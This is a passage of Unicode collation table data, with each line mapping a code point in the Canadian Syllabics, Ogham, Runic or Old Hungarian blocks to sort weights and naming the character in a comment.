+15D1  ; [.35D1.0020.0002] # CANADIAN SYLLABICS CARRIER WO
+15D2  ; [.35D2.0020.0002] # CANADIAN SYLLABICS CARRIER WE
+15D3  ; [.35D3.0020.0002] # CANADIAN SYLLABICS CARRIER WEE
+15D4  ; [.35D4.0020.0002] # CANADIAN SYLLABICS CARRIER WI
+15D5  ; [.35D5.0020.0002] # CANADIAN SYLLABICS CARRIER WA
+15D6  ; [.35D6.0020.0002] # CANADIAN SYLLABICS CARRIER HWU
+15D7  ; [.35D7.0020.0002] # CANADIAN SYLLABICS CARRIER HWO
+15D8  ; [.35D8.0020.0002] # CANADIAN SYLLABICS CARRIER HWE
+15D9  ; [.35D9.0020.0002] # CANADIAN SYLLABICS CARRIER HWEE
+15DA  ; [.35DA.0020.0002] # CANADIAN SYLLABICS CARRIER HWI
+15DB  ; [.35DB.0020.0002] # CANADIAN SYLLABICS CARRIER HWA
+15DC  ; [.35DC.0020.0002] # CANADIAN SYLLABICS CARRIER THU
+15DD  ; [.35DD.0020.0002] # CANADIAN SYLLABICS CARRIER THO
+15DE  ; [.35DE.0020.0002] # CANADIAN SYLLABICS CARRIER THE
+15DF  ; [.35DF.0020.0002] # CANADIAN SYLLABICS CARRIER THEE
+15E0  ; [.35E0.0020.0002] # CANADIAN SYLLABICS CARRIER THI
+15E1  ; [.35E1.0020.0002] # CANADIAN SYLLABICS CARRIER THA
+15E2  ; [.35E2.0020.0002] # CANADIAN SYLLABICS CARRIER TTU
+15E3  ; [.35E3.0020.0002] # CANADIAN SYLLABICS CARRIER TTO
+15E4  ; [.35E4.0020.0002] # CANADIAN SYLLABICS CARRIER TTE
+15E5  ; [.35E5.0020.0002] # CANADIAN SYLLABICS CARRIER TTEE
+15E6  ; [.35E6.0020.0002] # CANADIAN SYLLABICS CARRIER TTI
+15E7  ; [.35E7.0020.0002] # CANADIAN SYLLABICS CARRIER TTA
+15E8  ; [.35E8.0020.0002] # CANADIAN SYLLABICS CARRIER PU
+15E9  ; [.35E9.0020.0002] # CANADIAN SYLLABICS CARRIER PO
+15EA  ; [.35EA.0020.0002] # CANADIAN SYLLABICS CARRIER PE
+15EB  ; [.35EB.0020.0002] # CANADIAN SYLLABICS CARRIER PEE
+15EC  ; [.35EC.0020.0002] # CANADIAN SYLLABICS CARRIER PI
+15ED  ; [.35ED.0020.0002] # CANADIAN SYLLABICS CARRIER PA
+15EE  ; [.35EE.0020.0002] # CANADIAN SYLLABICS CARRIER P
+15EF  ; [.35EF.0020.0002] # CANADIAN SYLLABICS CARRIER GU
+15F0  ; [.35F0.0020.0002] # CANADIAN SYLLABICS CARRIER GO
+15F1  ; [.35F1.0020.0002] # CANADIAN SYLLABICS CARRIER GE
+15F2  ; [.35F2.0020.0002] # CANADIAN SYLLABICS CARRIER GEE
+15F3  ; [.35F3.0020.0002] # CANADIAN SYLLABICS CARRIER GI
+15F4  ; [.35F4.0020.0002] # CANADIAN SYLLABICS CARRIER GA
+15F5  ; [.35F5.0020.0002] # CANADIAN SYLLABICS CARRIER KHU
+15F6  ; [.35F6.0020.0002] # CANADIAN SYLLABICS CARRIER KHO
+15F7  ; [.35F7.0020.0002] # CANADIAN SYLLABICS CARRIER KHE
+15F8  ; [.35F8.0020.0002] # CANADIAN SYLLABICS CARRIER KHEE
+15F9  ; [.35F9.0020.0002] # CANADIAN SYLLABICS CARRIER KHI
+15FA  ; [.35FA.0020.0002] # CANADIAN SYLLABICS CARRIER KHA
+15FB  ; [.35FB.0020.0002] # CANADIAN SYLLABICS CARRIER KKU
+15FC  ; [.35FC.0020.0002] # CANADIAN SYLLABICS CARRIER KKO
+15FD  ; [.35FD.0020.0002] # CANADIAN SYLLABICS CARRIER KKE
+15FE  ; [.35FE.0020.0002] # CANADIAN SYLLABICS CARRIER KKEE
+15FF  ; [.35FF.0020.0002] # CANADIAN SYLLABICS CARRIER KKI
+1600  ; [.3600.0020.0002] # CANADIAN SYLLABICS CARRIER KKA
+1601  ; [.3601.0020.0002] # CANADIAN SYLLABICS CARRIER KK
+1602  ; [.3602.0020.0002] # CANADIAN SYLLABICS CARRIER NU
+1603  ; [.3603.0020.0002] # CANADIAN SYLLABICS CARRIER NO
+1604  ; [.3604.0020.0002] # CANADIAN SYLLABICS CARRIER NE
+1605  ; [.3605.0020.0002] # CANADIAN SYLLABICS CARRIER NEE
+1606  ; [.3606.0020.0002] # CANADIAN SYLLABICS CARRIER NI
+1607  ; [.3607.0020.0002] # CANADIAN SYLLABICS CARRIER NA
+1608  ; [.3608.0020.0002] # CANADIAN SYLLABICS CARRIER MU
+1609  ; [.3609.0020.0002] # CANADIAN SYLLABICS CARRIER MO
+160A  ; [.360A.0020.0002] # CANADIAN SYLLABICS CARRIER ME
+160B  ; [.360B.0020.0002] # CANADIAN SYLLABICS CARRIER MEE
+160C  ; [.360C.0020.0002] # CANADIAN SYLLABICS CARRIER MI
+160D  ; [.360D.0020.0002] # CANADIAN SYLLABICS CARRIER MA
+160E  ; [.360E.0020.0002] # CANADIAN SYLLABICS CARRIER YU
+160F  ; [.360F.0020.0002] # CANADIAN SYLLABICS CARRIER YO
+1610  ; [.3610.0020.0002] # CANADIAN SYLLABICS CARRIER YE
+1611  ; [.3611.0020.0002] # CANADIAN SYLLABICS CARRIER YEE
+1612  ; [.3612.0020.0002] # CANADIAN SYLLABICS CARRIER YI
+1613  ; [.3613.0020.0002] # CANADIAN SYLLABICS CARRIER YA
+1614  ; [.3614.0020.0002] # CANADIAN SYLLABICS CARRIER JU
+1615  ; [.3615.0020.0002] # CANADIAN SYLLABICS SAYISI JU
+1616  ; [.3616.0020.0002] # CANADIAN SYLLABICS CARRIER JO
+1617  ; [.3617.0020.0002] # CANADIAN SYLLABICS CARRIER JE
+1618  ; [.3618.0020.0002] # CANADIAN SYLLABICS CARRIER JEE
+1619  ; [.3619.0020.0002] # CANADIAN SYLLABICS CARRIER JI
+161A  ; [.361A.0020.0002] # CANADIAN SYLLABICS SAYISI JI
+161B  ; [.361B.0020.0002] # CANADIAN SYLLABICS CARRIER JA
+161C  ; [.361C.0020.0002] # CANADIAN SYLLABICS CARRIER JJU
+161D  ; [.361D.0020.0002] # CANADIAN SYLLABICS CARRIER JJO
+161E  ; [.361E.0020.0002] # CANADIAN SYLLABICS CARRIER JJE
+161F  ; [.361F.0020.0002] # CANADIAN SYLLABICS CARRIER JJEE
+1620  ; [.3620.0020.0002] # CANADIAN SYLLABICS CARRIER JJI
+1621  ; [.3621.0020.0002] # CANADIAN SYLLABICS CARRIER JJA
+1622  ; [.3622.0020.0002] # CANADIAN SYLLABICS CARRIER LU
+1623  ; [.3623.0020.0002] # CANADIAN SYLLABICS CARRIER LO
+1624  ; [.3624.0020.0002] # CANADIAN SYLLABICS CARRIER LE
+1625  ; [.3625.0020.0002] # CANADIAN SYLLABICS CARRIER LEE
+1626  ; [.3626.0020.0002] # CANADIAN SYLLABICS CARRIER LI
+1627  ; [.3627.0020.0002] # CANADIAN SYLLABICS CARRIER LA
+1628  ; [.3628.0020.0002] # CANADIAN SYLLABICS CARRIER DLU
+1629  ; [.3629.0020.0002] # CANADIAN SYLLABICS CARRIER DLO
+162A  ; [.362A.0020.0002] # CANADIAN SYLLABICS CARRIER DLE
+162B  ; [.362B.0020.0002] # CANADIAN SYLLABICS CARRIER DLEE
+162C  ; [.362C.0020.0002] # CANADIAN SYLLABICS CARRIER DLI
+162D  ; [.362D.0020.0002] # CANADIAN SYLLABICS CARRIER DLA
+162E  ; [.362E.0020.0002] # CANADIAN SYLLABICS CARRIER LHU
+162F  ; [.362F.0020.0002] # CANADIAN SYLLABICS CARRIER LHO
+1630  ; [.3630.0020.0002] # CANADIAN SYLLABICS CARRIER LHE
+1631  ; [.3631.0020.0002] # CANADIAN SYLLABICS CARRIER LHEE
+1632  ; [.3632.0020.0002] # CANADIAN SYLLABICS CARRIER LHI
+1633  ; [.3633.0020.0002] # CANADIAN SYLLABICS CARRIER LHA
+1634  ; [.3634.0020.0002] # CANADIAN SYLLABICS CARRIER TLHU
+1635  ; [.3635.0020.0002] # CANADIAN SYLLABICS CARRIER TLHO
+1636  ; [.3636.0020.0002] # CANADIAN SYLLABICS CARRIER TLHE
+1637  ; [.3637.0020.0002] # CANADIAN SYLLABICS CARRIER TLHEE
+1638  ; [.3638.0020.0002] # CANADIAN SYLLABICS CARRIER TLHI
+1639  ; [.3639.0020.0002] # CANADIAN SYLLABICS CARRIER TLHA
+163A  ; [.363A.0020.0002] # CANADIAN SYLLABICS CARRIER TLU
+163B  ; [.363B.0020.0002] # CANADIAN SYLLABICS CARRIER TLO
+163C  ; [.363C.0020.0002] # CANADIAN SYLLABICS CARRIER TLE
+163D  ; [.363D.0020.0002] # CANADIAN SYLLABICS CARRIER TLEE
+163E  ; [.363E.0020.0002] # CANADIAN SYLLABICS CARRIER TLI
+163F  ; [.363F.0020.0002] # CANADIAN SYLLABICS CARRIER TLA
+1640  ; [.3640.0020.0002] # CANADIAN SYLLABICS CARRIER ZU
+1641  ; [.3641.0020.0002] # CANADIAN SYLLABICS CARRIER ZO
+1642  ; [.3642.0020.0002] # CANADIAN SYLLABICS CARRIER ZE
+1643  ; [.3643.0020.0002] # CANADIAN SYLLABICS CARRIER ZEE
+1644  ; [.3644.0020.0002] # CANADIAN SYLLABICS CARRIER ZI
+1645  ; [.3645.0020.0002] # CANADIAN SYLLABICS CARRIER ZA
+1646  ; [.3646.0020.0002] # CANADIAN SYLLABICS CARRIER Z
+1647  ; [.3647.0020.0002] # CANADIAN SYLLABICS CARRIER INITIAL Z
+1648  ; [.3648.0020.0002] # CANADIAN SYLLABICS CARRIER DZU
+1649  ; [.3649.0020.0002] # CANADIAN SYLLABICS CARRIER DZO
+164A  ; [.364A.0020.0002] # CANADIAN SYLLABICS CARRIER DZE
+164B  ; [.364B.0020.0002] # CANADIAN SYLLABICS CARRIER DZEE
+164C  ; [.364C.0020.0002] # CANADIAN SYLLABICS CARRIER DZI
+164D  ; [.364D.0020.0002] # CANADIAN SYLLABICS CARRIER DZA
+164E  ; [.364E.0020.0002] # CANADIAN SYLLABICS CARRIER SU
+164F  ; [.364F.0020.0002] # CANADIAN SYLLABICS CARRIER SO
+1650  ; [.3650.0020.0002] # CANADIAN SYLLABICS CARRIER SE
+1651  ; [.3651.0020.0002] # CANADIAN SYLLABICS CARRIER SEE
+1652  ; [.3652.0020.0002] # CANADIAN SYLLABICS CARRIER SI
+1653  ; [.3653.0020.0002] # CANADIAN SYLLABICS CARRIER SA
+1654  ; [.3654.0020.0002] # CANADIAN SYLLABICS CARRIER SHU
+1655  ; [.3655.0020.0002] # CANADIAN SYLLABICS CARRIER SHO
+1656  ; [.3656.0020.0002] # CANADIAN SYLLABICS CARRIER SHE
+1657  ; [.3657.0020.0002] # CANADIAN SYLLABICS CARRIER SHEE
+1658  ; [.3658.0020.0002] # CANADIAN SYLLABICS CARRIER SHI
+1659  ; [.3659.0020.0002] # CANADIAN SYLLABICS CARRIER SHA
+165A  ; [.365A.0020.0002] # CANADIAN SYLLABICS CARRIER SH
+165B  ; [.365B.0020.0002] # CANADIAN SYLLABICS CARRIER TSU
+165C  ; [.365C.0020.0002] # CANADIAN SYLLABICS CARRIER TSO
+165D  ; [.365D.0020.0002] # CANADIAN SYLLABICS CARRIER TSE
+165E  ; [.365E.0020.0002] # CANADIAN SYLLABICS CARRIER TSEE
+165F  ; [.365F.0020.0002] # CANADIAN SYLLABICS CARRIER TSI
+1660  ; [.3660.0020.0002] # CANADIAN SYLLABICS CARRIER TSA
+1661  ; [.3661.0020.0002] # CANADIAN SYLLABICS CARRIER CHU
+1662  ; [.3662.0020.0002] # CANADIAN SYLLABICS CARRIER CHO
+1663  ; [.3663.0020.0002] # CANADIAN SYLLABICS CARRIER CHE
+1664  ; [.3664.0020.0002] # CANADIAN SYLLABICS CARRIER CHEE
+1665  ; [.3665.0020.0002] # CANADIAN SYLLABICS CARRIER CHI
+1666  ; [.3666.0020.0002] # CANADIAN SYLLABICS CARRIER CHA
+1667  ; [.3667.0020.0002] # CANADIAN SYLLABICS CARRIER TTSU
+1668  ; [.3668.0020.0002] # CANADIAN SYLLABICS CARRIER TTSO
+1669  ; [.3669.0020.0002] # CANADIAN SYLLABICS CARRIER TTSE
+166A  ; [.366A.0020.0002] # CANADIAN SYLLABICS CARRIER TTSEE
+166B  ; [.366B.0020.0002] # CANADIAN SYLLABICS CARRIER TTSI
+166C  ; [.366C.0020.0002] # CANADIAN SYLLABICS CARRIER TTSA
+1677  ; [.366D.0020.0002] # CANADIAN SYLLABICS WOODS-CREE THWEE
+1678  ; [.366E.0020.0002] # CANADIAN SYLLABICS WOODS-CREE THWI
+1679  ; [.366F.0020.0002] # CANADIAN SYLLABICS WOODS-CREE THWII
+167A  ; [.3670.0020.0002] # CANADIAN SYLLABICS WOODS-CREE THWO
+167B  ; [.3671.0020.0002] # CANADIAN SYLLABICS WOODS-CREE THWOO
+167C  ; [.3672.0020.0002] # CANADIAN SYLLABICS WOODS-CREE THWA
+167D  ; [.3673.0020.0002] # CANADIAN SYLLABICS WOODS-CREE THWAA
+167E  ; [.3674.0020.0002] # CANADIAN SYLLABICS WOODS-CREE FINAL TH
+167F  ; [.3675.0020.0002] # CANADIAN SYLLABICS BLACKFOOT W
+18B0  ; [.3676.0020.0002] # CANADIAN SYLLABICS OY
+18B1  ; [.3677.0020.0002] # CANADIAN SYLLABICS AY
+18B2  ; [.3678.0020.0002] # CANADIAN SYLLABICS AAY
+18B3  ; [.3679.0020.0002] # CANADIAN SYLLABICS WAY
+18B4  ; [.367A.0020.0002] # CANADIAN SYLLABICS POY
+18B5  ; [.367B.0020.0002] # CANADIAN SYLLABICS PAY
+18B6  ; [.367C.0020.0002] # CANADIAN SYLLABICS PWOY
+18B7  ; [.367D.0020.0002] # CANADIAN SYLLABICS TAY
+18B8  ; [.367E.0020.0002] # CANADIAN SYLLABICS KAY
+18B9  ; [.367F.0020.0002] # CANADIAN SYLLABICS KWAY
+18BA  ; [.3680.0020.0002] # CANADIAN SYLLABICS MAY
+18BB  ; [.3681.0020.0002] # CANADIAN SYLLABICS NOY
+18BC  ; [.3682.0020.0002] # CANADIAN SYLLABICS NAY
+18BD  ; [.3683.0020.0002] # CANADIAN SYLLABICS LAY
+18BE  ; [.3684.0020.0002] # CANADIAN SYLLABICS SOY
+18BF  ; [.3685.0020.0002] # CANADIAN SYLLABICS SAY
+18C0  ; [.3686.0020.0002] # CANADIAN SYLLABICS SHOY
+18C1  ; [.3687.0020.0002] # CANADIAN SYLLABICS SHAY
+18C2  ; [.3688.0020.0002] # CANADIAN SYLLABICS SHWOY
+18C3  ; [.3689.0020.0002] # CANADIAN SYLLABICS YOY
+18C4  ; [.368A.0020.0002] # CANADIAN SYLLABICS YAY
+18C5  ; [.368B.0020.0002] # CANADIAN SYLLABICS RAY
+18C6  ; [.368C.0020.0002] # CANADIAN SYLLABICS NWI
+18C7  ; [.368D.0020.0002] # CANADIAN SYLLABICS OJIBWAY NWI
+18C8  ; [.368E.0020.0002] # CANADIAN SYLLABICS NWII
+18C9  ; [.368F.0020.0002] # CANADIAN SYLLABICS OJIBWAY NWII
+18CA  ; [.3690.0020.0002] # CANADIAN SYLLABICS NWO
+18CB  ; [.3691.0020.0002] # CANADIAN SYLLABICS OJIBWAY NWO
+18CC  ; [.3692.0020.0002] # CANADIAN SYLLABICS NWOO
+18CD  ; [.3693.0020.0002] # CANADIAN SYLLABICS OJIBWAY NWOO
+18CE  ; [.3694.0020.0002] # CANADIAN SYLLABICS RWEE
+18CF  ; [.3695.0020.0002] # CANADIAN SYLLABICS RWI
+18D0  ; [.3696.0020.0002] # CANADIAN SYLLABICS RWII
+18D1  ; [.3697.0020.0002] # CANADIAN SYLLABICS RWO
+18D2  ; [.3698.0020.0002] # CANADIAN SYLLABICS RWOO
+18D3  ; [.3699.0020.0002] # CANADIAN SYLLABICS RWA
+18D4  ; [.369A.0020.0002] # CANADIAN SYLLABICS OJIBWAY P
+18D5  ; [.369B.0020.0002] # CANADIAN SYLLABICS OJIBWAY T
+18D6  ; [.369C.0020.0002] # CANADIAN SYLLABICS OJIBWAY K
+18D7  ; [.369D.0020.0002] # CANADIAN SYLLABICS OJIBWAY C
+18D8  ; [.369E.0020.0002] # CANADIAN SYLLABICS OJIBWAY M
+18D9  ; [.369F.0020.0002] # CANADIAN SYLLABICS OJIBWAY N
+18DA  ; [.36A0.0020.0002] # CANADIAN SYLLABICS OJIBWAY S
+18DB  ; [.36A1.0020.0002] # CANADIAN SYLLABICS OJIBWAY SH
+18DC  ; [.36A2.0020.0002] # CANADIAN SYLLABICS EASTERN W
+18DD  ; [.36A3.0020.0002] # CANADIAN SYLLABICS WESTERN W
+18DE  ; [.36A4.0020.0002] # CANADIAN SYLLABICS FINAL SMALL RING
+18DF  ; [.36A5.0020.0002] # CANADIAN SYLLABICS FINAL RAISED DOT
+18E0  ; [.36A6.0020.0002] # CANADIAN SYLLABICS R-CREE RWE
+18E1  ; [.36A7.0020.0002] # CANADIAN SYLLABICS WEST-CREE LOO
+18E2  ; [.36A8.0020.0002] # CANADIAN SYLLABICS WEST-CREE LAA
+18E3  ; [.36A9.0020.0002] # CANADIAN SYLLABICS THWE
+18E4  ; [.36AA.0020.0002] # CANADIAN SYLLABICS THWA
+18E5  ; [.36AB.0020.0002] # CANADIAN SYLLABICS TTHWE
+18E6  ; [.36AC.0020.0002] # CANADIAN SYLLABICS TTHOO
+18E7  ; [.36AD.0020.0002] # CANADIAN SYLLABICS TTHAA
+18E8  ; [.36AE.0020.0002] # CANADIAN SYLLABICS TLHWE
+18E9  ; [.36AF.0020.0002] # CANADIAN SYLLABICS TLHOO
+18EA  ; [.36B0.0020.0002] # CANADIAN SYLLABICS SAYISI SHWE
+18EB  ; [.36B1.0020.0002] # CANADIAN SYLLABICS SAYISI SHOO
+18EC  ; [.36B2.0020.0002] # CANADIAN SYLLABICS SAYISI HOO
+18ED  ; [.36B3.0020.0002] # CANADIAN SYLLABICS CARRIER GWU
+18EE  ; [.36B4.0020.0002] # CANADIAN SYLLABICS CARRIER DENE GEE
+18EF  ; [.36B5.0020.0002] # CANADIAN SYLLABICS CARRIER GAA
+18F0  ; [.36B6.0020.0002] # CANADIAN SYLLABICS CARRIER GWA
+18F1  ; [.36B7.0020.0002] # CANADIAN SYLLABICS SAYISI JUU
+18F2  ; [.36B8.0020.0002] # CANADIAN SYLLABICS CARRIER JWA
+18F3  ; [.36B9.0020.0002] # CANADIAN SYLLABICS BEAVER DENE L
+18F4  ; [.36BA.0020.0002] # CANADIAN SYLLABICS BEAVER DENE R
+18F5  ; [.36BB.0020.0002] # CANADIAN SYLLABICS CARRIER DENTAL S
+1681  ; [.36BC.0020.0002] # OGHAM LETTER BEITH
+1682  ; [.36BD.0020.0002] # OGHAM LETTER LUIS
+1683  ; [.36BE.0020.0002] # OGHAM LETTER FEARN
+1684  ; [.36BF.0020.0002] # OGHAM LETTER SAIL
+1685  ; [.36C0.0020.0002] # OGHAM LETTER NION
+1686  ; [.36C1.0020.0002] # OGHAM LETTER UATH
+1687  ; [.36C2.0020.0002] # OGHAM LETTER DAIR
+1688  ; [.36C3.0020.0002] # OGHAM LETTER TINNE
+1689  ; [.36C4.0020.0002] # OGHAM LETTER COLL
+168A  ; [.36C5.0020.0002] # OGHAM LETTER CEIRT
+168B  ; [.36C6.0020.0002] # OGHAM LETTER MUIN
+168C  ; [.36C7.0020.0002] # OGHAM LETTER GORT
+168D  ; [.36C8.0020.0002] # OGHAM LETTER NGEADAL
+168E  ; [.36C9.0020.0002] # OGHAM LETTER STRAIF
+168F  ; [.36CA.0020.0002] # OGHAM LETTER RUIS
+1690  ; [.36CB.0020.0002] # OGHAM LETTER AILM
+1691  ; [.36CC.0020.0002] # OGHAM LETTER ONN
+1692  ; [.36CD.0020.0002] # OGHAM LETTER UR
+1693  ; [.36CE.0020.0002] # OGHAM LETTER EADHADH
+1694  ; [.36CF.0020.0002] # OGHAM LETTER IODHADH
+1695  ; [.36D0.0020.0002] # OGHAM LETTER EABHADH
+1696  ; [.36D1.0020.0002] # OGHAM LETTER OR
+1697  ; [.36D2.0020.0002] # OGHAM LETTER UILLEANN
+1698  ; [.36D3.0020.0002] # OGHAM LETTER IFIN
+1699  ; [.36D4.0020.0002] # OGHAM LETTER EAMHANCHOLL
+169A  ; [.36D5.0020.0002] # OGHAM LETTER PEITH
+16A0  ; [.36D6.0020.0002] # RUNIC LETTER FEHU FEOH FE F
+16A1  ; [.36D6.0020.0004][.0000.0110.0004] # RUNIC LETTER V
+16A2  ; [.36D7.0020.0002] # RUNIC LETTER URUZ UR U
+16A4  ; [.36D7.0020.0004][.0000.0110.0004] # RUNIC LETTER Y
+16A5  ; [.36D7.0020.0004][.0000.0111.0004] # RUNIC LETTER W
+16A6  ; [.36D8.0020.0002] # RUNIC LETTER THURISAZ THURS THORN
+16A7  ; [.36D8.0020.0004][.0000.0110.0004] # RUNIC LETTER ETH
+16F0  ; [.36D8.0020.0004][.36D8.0020.0004] # RUNIC BELGTHOR SYMBOL
+16A8  ; [.36D9.0020.0002] # RUNIC LETTER ANSUZ A
+16A9  ; [.36D9.0020.0004][.0000.0110.0004] # RUNIC LETTER OS O
+16AC  ; [.36D9.0020.0004][.0000.0111.0004] # RUNIC LETTER LONG-BRANCH-OSS O
+16AD  ; [.36D9.0020.0004][.0000.0112.0004] # RUNIC LETTER SHORT-TWIG-OSS O
+16AE  ; [.36D9.0020.0004][.0000.0113.0004] # RUNIC LETTER O
+16F4  ; [.36DA.0020.0002] # RUNIC LETTER FRANKS CASKET OS
+16AF  ; [.36DB.0020.0002] # RUNIC LETTER OE
+16B0  ; [.36DC.0020.0002] # RUNIC LETTER ON
+16B1  ; [.36DD.0020.0002] # RUNIC LETTER RAIDO RAD REID R
+16B2  ; [.36DE.0020.0002] # RUNIC LETTER KAUNA
+16B3  ; [.36DE.0020.0004][.0000.0110.0004] # RUNIC LETTER CEN
+16B4  ; [.36DE.0020.0004][.0000.0111.0004] # RUNIC LETTER KAUN K
+16B5  ; [.36DE.0020.0004][.0000.0112.0004] # RUNIC LETTER G
+16B6  ; [.36DE.0020.0004][.0000.0113.0004] # RUNIC LETTER ENG
+16F1  ; [.36DF.0020.0002] # RUNIC LETTER K
+16B7  ; [.36E0.0020.0002] # RUNIC LETTER GEBO GYFU G
+16B9  ; [.36E1.0020.0002] # RUNIC LETTER WUNJO WYNN W
+16E9  ; [.36E1.0020.0004][.0000.0110.0004] # RUNIC LETTER Q
+16BA  ; [.36E2.0020.0002] # RUNIC LETTER HAGLAZ H
+16BB  ; [.36E2.0020.0004][.0000.0110.0004] # RUNIC LETTER HAEGL H
+16BC  ; [.36E2.0020.0004][.0000.0111.0004] # RUNIC LETTER LONG-BRANCH-HAGALL H
+16BD  ; [.36E2.0020.0004][.0000.0112.0004] # RUNIC LETTER SHORT-TWIG-HAGALL H
+16BE  ; [.36E3.0020.0002] # RUNIC LETTER NAUDIZ NYD NAUD N
+16BF  ; [.36E3.0020.0004][.0000.0110.0004] # RUNIC LETTER SHORT-TWIG-NAUD N
+16C0  ; [.36E3.0020.0004][.0000.0111.0004] # RUNIC LETTER DOTTED-N
+16C1  ; [.36E4.0020.0002] # RUNIC LETTER ISAZ IS ISS I
+16C2  ; [.36E4.0020.0004][.0000.0110.0004] # RUNIC LETTER E
+16F5  ; [.36E5.0020.0002] # RUNIC LETTER FRANKS CASKET IS
+16C3  ; [.36E6.0020.0002] # RUNIC LETTER JERAN J
+16C4  ; [.36E6.0020.0004][.0000.0110.0004] # RUNIC LETTER GER
+16C5  ; [.36E7.0020.0002] # RUNIC LETTER LONG-BRANCH-AR AE
+16C6  ; [.36E7.0020.0004][.0000.0110.0004] # RUNIC LETTER SHORT-TWIG-AR A
+16EE  ; [.36E7.0020.0004][.36F2.0020.0004] # RUNIC ARLAUG SYMBOL
+16C7  ; [.36E8.0020.0002] # RUNIC LETTER IWAZ EOH
+16C8  ; [.36E9.0020.0002] # RUNIC LETTER PERTHO PEORTH P
+16D5  ; [.36E9.0020.0004][.0000.0110.0004] # RUNIC LETTER OPEN-P
+16C9  ; [.36EA.0020.0002] # RUNIC LETTER ALGIZ EOLHX
+16CA  ; [.36EB.0020.0002] # RUNIC LETTER SOWILO S
+16CB  ; [.36EB.0020.0004][.0000.0110.0004] # RUNIC LETTER SIGEL LONG-BRANCH-SOL S
+16EA  ; [.36EB.0020.0004][.0000.0111.0004] # RUNIC LETTER X
+16CC  ; [.36EB.0020.0004][.0000.0112.0004] # RUNIC LETTER SHORT-TWIG-SOL S
+16CD  ; [.36EB.0020.0004][.0000.0113.0004] # RUNIC LETTER C
+16CE  ; [.36EB.0020.0004][.0000.0114.0004] # RUNIC LETTER Z
+16F2  ; [.36EC.0020.0002] # RUNIC LETTER SH
+16CF  ; [.36ED.0020.0002] # RUNIC LETTER TIWAZ TIR TYR T
+16D0  ; [.36ED.0020.0004][.0000.0110.0004] # RUNIC LETTER SHORT-TWIG-TYR T
+16D1  ; [.36ED.0020.0004][.0000.0111.0004] # RUNIC LETTER D
+16D2  ; [.36EE.0020.0002] # RUNIC LETTER BERKANAN BEORC BJARKAN B
+16D3  ; [.36EE.0020.0004][.0000.0110.0004] # RUNIC LETTER SHORT-TWIG-BJARKAN B
+16D4  ; [.36EE.0020.0004][.0000.0111.0004] # RUNIC LETTER DOTTED-P
+16D6  ; [.36EF.0020.0002] # RUNIC LETTER EHWAZ EH E
+16F6  ; [.36F0.0020.0002] # RUNIC LETTER FRANKS CASKET EH
+16D7  ; [.36F1.0020.0002] # RUNIC LETTER MANNAZ MAN M
+16D8  ; [.36F1.0020.0004][.0000.0110.0004] # RUNIC LETTER LONG-BRANCH-MADR M
+16D9  ; [.36F1.0020.0004][.0000.0111.0004] # RUNIC LETTER SHORT-TWIG-MADR M
+16EF  ; [.36F1.0020.0004][.0000.0110.0004][.36F1.0020.0004][.0000.0110.0004] # RUNIC TVIMADUR SYMBOL
+16DA  ; [.36F2.0020.0002] # RUNIC LETTER LAUKAZ LAGU LOGR L
+16DB  ; [.36F2.0020.0004][.0000.0110.0004] # RUNIC LETTER DOTTED-L
+16DC  ; [.36F3.0020.0002] # RUNIC LETTER INGWAZ
+16DD  ; [.36F3.0020.0004][.0000.0110.0004] # RUNIC LETTER ING
+16DE  ; [.36F4.0020.0002] # RUNIC LETTER DAGAZ DAEG D
+16DF  ; [.36F5.0020.0002] # RUNIC LETTER OTHALAN ETHEL O
+16F3  ; [.36F6.0020.0002] # RUNIC LETTER OO
+16AA  ; [.36F7.0020.0002] # RUNIC LETTER AC A
+16F7  ; [.36F8.0020.0002] # RUNIC LETTER FRANKS CASKET AC
+16AB  ; [.36F9.0020.0002] # RUNIC LETTER AESC
+16F8  ; [.36FA.0020.0002] # RUNIC LETTER FRANKS CASKET AESC
+16A3  ; [.36FB.0020.0002] # RUNIC LETTER YR
+16E0  ; [.36FC.0020.0002] # RUNIC LETTER EAR
+16E3  ; [.36FD.0020.0002] # RUNIC LETTER CALC
+16B8  ; [.36FE.0020.0002] # RUNIC LETTER GAR
+16E4  ; [.36FF.0020.0002] # RUNIC LETTER CEALC
+16E1  ; [.3700.0020.0002] # RUNIC LETTER IOR
+16E2  ; [.3701.0020.0002] # RUNIC LETTER CWEORTH
+16E5  ; [.3702.0020.0002] # RUNIC LETTER STAN
+16E6  ; [.3703.0020.0002] # RUNIC LETTER LONG-BRANCH-YR
+16E7  ; [.3703.0020.0004][.0000.0110.0004] # RUNIC LETTER SHORT-TWIG-YR
+16E8  ; [.3703.0020.0004][.0000.0111.0004] # RUNIC LETTER ICELANDIC-YR
+10CC0 ; [.3704.0020.0002] # OLD HUNGARIAN SMALL LETTER A
+10C80 ; [.3704.0020.0008] # OLD HUNGARIAN CAPITAL LETTER A
+10CC1 ; [.3704.0020.0004][.0000.0110.0004] # OLD HUNGARIAN SMALL LETTER AA
+10C81 ; [.3704.0020.000A][.0000.0110.0004] # OLD HUNGARIAN CAPITAL LETTER AA
+10CC2 ; [.3705.0020.0002] # OLD HUNGARIAN SMALL LETTER EB
+10C82 ; [.3705.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EB
+10CC3 ; [.3706.0020.0002] # OLD HUNGARIAN SMALL LETTER AMB
+10C83 ; [.3706.0020.0008] # OLD HUNGARIAN CAPITAL LETTER AMB
+10CC4 ; [.3707.0020.0002] # OLD HUNGARIAN SMALL LETTER EC
+10C84 ; [.3707.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EC
+10CC5 ; [.3708.0020.0002] # OLD HUNGARIAN SMALL LETTER ENC
+10C85 ; [.3708.0020.0008] # OLD HUNGARIAN CAPITAL LETTER ENC
+10CC6 ; [.3709.0020.0002] # OLD HUNGARIAN SMALL LETTER ECS
+10C86 ; [.3709.0020.0008] # OLD HUNGARIAN CAPITAL LETTER ECS
+10CC7 ; [.370A.0020.0002] # OLD HUNGARIAN SMALL LETTER ED
+10C87 ; [.370A.0020.0008] # OLD HUNGARIAN CAPITAL LETTER ED
+10CC8 ; [.370B.0020.0002] # OLD HUNGARIAN SMALL LETTER AND
+10C88 ; [.370B.0020.0008] # OLD HUNGARIAN CAPITAL LETTER AND
+10CC9 ; [.370C.0020.0002] # OLD HUNGARIAN SMALL LETTER E
+10C89 ; [.370C.0020.0008] # OLD HUNGARIAN CAPITAL LETTER E
+10CCA ; [.370C.0020.0004][.0000.0110.0004] # OLD HUNGARIAN SMALL LETTER CLOSE E
+10C8A ; [.370C.0020.000A][.0000.0110.0004] # OLD HUNGARIAN CAPITAL LETTER CLOSE E
+10CCB ; [.370C.0020.0004][.0000.0111.0004] # OLD HUNGARIAN SMALL LETTER EE
